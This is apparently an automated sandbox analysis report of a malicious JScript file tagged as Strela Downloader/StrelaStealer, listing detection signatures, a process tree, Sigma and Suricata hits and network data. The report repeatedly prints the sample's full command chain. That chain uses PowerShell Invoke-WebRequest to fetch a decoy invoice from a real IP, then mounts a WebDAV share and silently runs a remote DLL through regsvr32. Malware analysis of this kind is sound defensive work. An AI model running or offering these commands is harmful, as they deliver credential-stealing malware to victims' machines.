Edit tour

Windows Analysis Report
3132773231614716983.js

Overview

General Information

Sample name:	3132773231614716983.js
Analysis ID:	1587831
MD5:	235d84f11e4424dbb37a4f418afc1d1e
SHA1:	629fbba4011d9de0808c6f6f1c7035c36b0bfa28
SHA256:	11d86ca19450e8434727d7c2112e53c58d269eb571ba22020fa8b9c10ec850c3
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7700 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3132773231614716983.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7792 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\161061819625617.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7800 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7844 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 8036 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7324 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 4040 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2272 --field-trial-handle=1536,i,10289283819608342665,2050877796663969327,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 8052 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 8068 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7476 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7700	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\161061819625617.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7792, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7844, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\161061819625617.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7792, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7844, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3132773231614716983.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3132773231614716983.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3132773231614716983.js", ProcessId: 7700, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 8068, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49707

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\161061819625617.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\161061819625617.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3132773231614716983.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7700, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\161061819625617.dll, ProcessId: 7792, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\161061819625617.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\161061819625617.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3132773231614716983.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7700, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\161061819625617.dll, ProcessId: 7792, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\161061819625617.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\161061819625617.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3132773231614716983.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7700, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\161061819625617.dll, ProcessId: 7792, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\161061819625617.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\161061819625617.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3132773231614716983.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7700, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\161061819625617.dll, ProcessId: 7792, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\161061819625617.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\161061819625617.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3132773231614716983.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7700, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\161061819625617.dll, ProcessId: 7792, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3132773231614716983.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3132773231614716983.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3132773231614716983.js", ProcessId: 7700, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\161061819625617.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7792, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7844, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8052, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8068, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7476, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8052, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8068, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\161061819625617.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\161061819625617.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3132773231614716983.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7700, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\161061819625617.dll, ProcessId: 7792, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:22:51.550674+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49707	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:22:48.154209+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 3132773231614716983.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 3132773231614716983.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49707 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:22:48 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: global traffic

TCP traffic: 192.168.2.8:49707 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49706 -> 193.143.1.205:80

Source: global traffic

